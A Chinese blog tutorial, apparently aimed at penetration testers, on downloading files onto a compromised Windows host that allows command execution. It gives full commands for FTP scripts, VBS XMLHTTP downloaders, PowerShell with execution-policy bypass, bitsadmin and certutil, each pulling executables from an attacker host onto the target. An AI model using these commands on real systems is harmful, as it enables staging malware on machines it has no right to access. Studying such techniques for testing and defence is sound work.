趁着现在不忙(才不是偷懒)赶紧更新一波~ 今天给大家分享的内容是Windows内网传输技术:
有时候我们拿到一个不能上传shell,但可以命令执行的windows服务器时,可以通过多种方法进行文件上传和下载。
一起来看看吧!
Part.1
FTP
FTP环境部署
首先,ftp支持ASCII码传输、也支持二进制传输,因此完全可以满足我们的上传下载需求。
我们可以在本地服务器先搭建一个ftp服务器,如3CDaemon:
创建一个用户monster/a123456:
靶机连接上ftp服务器之后,我们就可以进行上传、下载操作了。
上传与下载
ftp可以读取txt中的命令并执行,因此可以把需要执行的命令写入到一个txt文件中。
例如需要下载一个hello.txt到靶机中:
写入后,靶机中会生成一个ftp.txt文件:
通过命令行执行该文件:
可以看到hello.txt文件被下载到靶机:
以上操作可以简化为:
代码语言:javascript复制Echo open 192.168.3.1 > o&echo user monster a123456 >> o &echo get hello.txt >> o &echo quit >> o &ftp -n -s:o &del /F /Q o
如果ftp允许匿名账号登陆,还可简化为:
代码语言:javascript复制Echo open 192.168.3.1 > o &echo get hello.txt >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o
//-A 匿名访问
如果是上传文件到ftp服务器,则使用put:
可以在ftp服务器中找到上传的文件:
Part.2
VBS
VBS
VBS是windows中基于Visual Basic的脚本语言。
利用VBS上传,主要使用的是msxm12.xmlhttp和adodb.stream对象。
首先在本地开启http服务,提供文件下载:
通过shell向靶机写入VBS代码:
详细代码如下:
代码语言:javascript复制echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.3.1/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/Users/Monster/Desktop/target.exe",2 >>download.vbs
此处靶机中会生成download.vbs,执行:
代码语言:javascript复制Cscript download.vbs
//成功“上传”文件至靶机。
方法二:VBS一句话下载
代码语言:javascript复制echo set a=createobject(^"adod^" ^"b.stream^"):set w=createobject(^"micro^" ^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.3.1/target.exe C:/Users/Monster/Desktop/target2.exe
Part.3
Powershell
Powershell
Powershell在windows server 2003以后版本的操作系统中默认是自带的,我们也可以用它来进行文件下载。
代码语言:javascript复制powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.3.1/hash.exe','C:/Users/Monster/Desktop/hash.exe');
//注意区分中逗号等英文字符。
Part.4
bitsadmin
bitsadmin
除了脚本以外,windows还有自带的两个工具:bitsadmin和certutil。
Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用。
代码语言:javascript复制bitsadmin /transfer 123 http://192.168.3.1/hello.txt C:UsersMonsterDesktophello.txt
//123为任务号
注:经测试这种方法进行下载比其他方法慢很多。
保存路径不能写成C:/Users/Monster/Desktop/hello.txt,否则会报错:
Part.5
certutil
certutil
Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。
代码语言:javascript复制certutil -urlcache -split -f http://192.168.3.1/hash.exe
但是这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存:
Part.6
结语
好啦,以上就是今天的全部内容了~